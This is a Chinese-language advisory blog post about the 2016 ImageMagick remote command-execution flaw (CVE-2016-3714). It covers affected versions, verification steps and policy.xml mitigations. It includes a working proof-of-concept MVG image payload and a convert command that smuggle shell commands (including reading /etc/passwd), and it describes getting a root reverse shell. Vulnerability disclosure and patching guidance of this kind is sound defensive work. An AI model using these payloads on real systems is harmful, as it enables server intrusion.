码迷,mamicode.com
首页 > 其他好文 > 详细

ImageMagick爆高危命令执行漏洞

时间:2016-05-12 20:05:47      阅读:155      评论:0      收藏:0      [点我收藏+]

标签:

ImageMagick爆高危命令执行漏洞

0x01 前言

       ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件,包括流行的TIFF、JPEG、GIF、PNG、PDF以及PhotoCD等格式。众多的网站平台都是用他渲染处理图片。可惜在3号时被公开了一些列漏洞,其中一个漏洞可导致远程执行代码(RCE),如果你处理用户提交的图片。该漏洞是针对在野外使用此漏洞。许多图像处理插件依赖于ImageMagick库,包括但不限于PHP的imagick,Ruby的rmagick和paperclip,以及NodeJS的ImageMagick等。
        产生原因是因为字符过滤不严谨所导致的执行代码.对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。

0x02 影响版本范围

ImageMagick 6.5.7-8 2012-08-17(手工测试风险存在)
ImageMagick 6.7.7-10 2014-03-06(手工测试风险存在)
低版本至6.9.3-9released 2016-04-30

0x03漏洞验证

1 命令验证

若系统中安装使用了ImageMagick,本地执行如下命令:
convert ‘https://example.com”|ls “-la’ out.png
若ls -la 命令成功执行,说明存在漏洞。未执行ls 命令,并报错,说明不受影响。

2 POC验证

先构建一个精心准备的图片:
vi exp1.jpg
pushgraphic-context
viewbox 0 0 640480
fill‘url(https://"|id && ls -al /etc/passwd")‘
popgraphic-context
 
执行攻击POC1,虽然有报错,但是两条命令都成功绕出执行了,
 
就说明漏洞是存在的
 
那么在制作一个远程下载反弹shell脚本,并且执行shell命令:
 
执行成功,上接受服务器看去:
Root权限的反弹shell就这样上来了.

0x04修复方案

目前官方的最新修复补丁版本还未能出来,所以暂时建议做以下两种预防策略:
1. 在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型.
2.使用策略配置文件来禁用ImageMagick的有风险的编码器
对于ImageMagick全局策略配置文件在/etc/ImageMagick下对policy.xml最后一行进行增加下列配置:
vi/etc/ImageMagick/policy.xml
<policymap>
<policy domain="coder"rights="none" pattern="EPHEMERAL" />
<policy domain="coder"rights="none" pattern="URL" />
<policy domain="coder"rights="none" pattern="HTTPS" />
<policy domain="coder"rights="none" pattern="MVG" />
<policy domain="coder"rights="none" pattern="MSL" />
</policymap>
 
在去执行攻击POC2看看,无法执行下载动作和执行命令了.

0x05 参考来源

https://imagetragick.com/
http://php.net/manual/zh/function.getimagesize.php
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-3714
https://security-tracker.debian.org/tracker/CVE-2016-3714

ImageMagick爆高危命令执行漏洞

标签:

原文地址:http://blog.csdn.net/qq_29277155/article/details/51350590

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!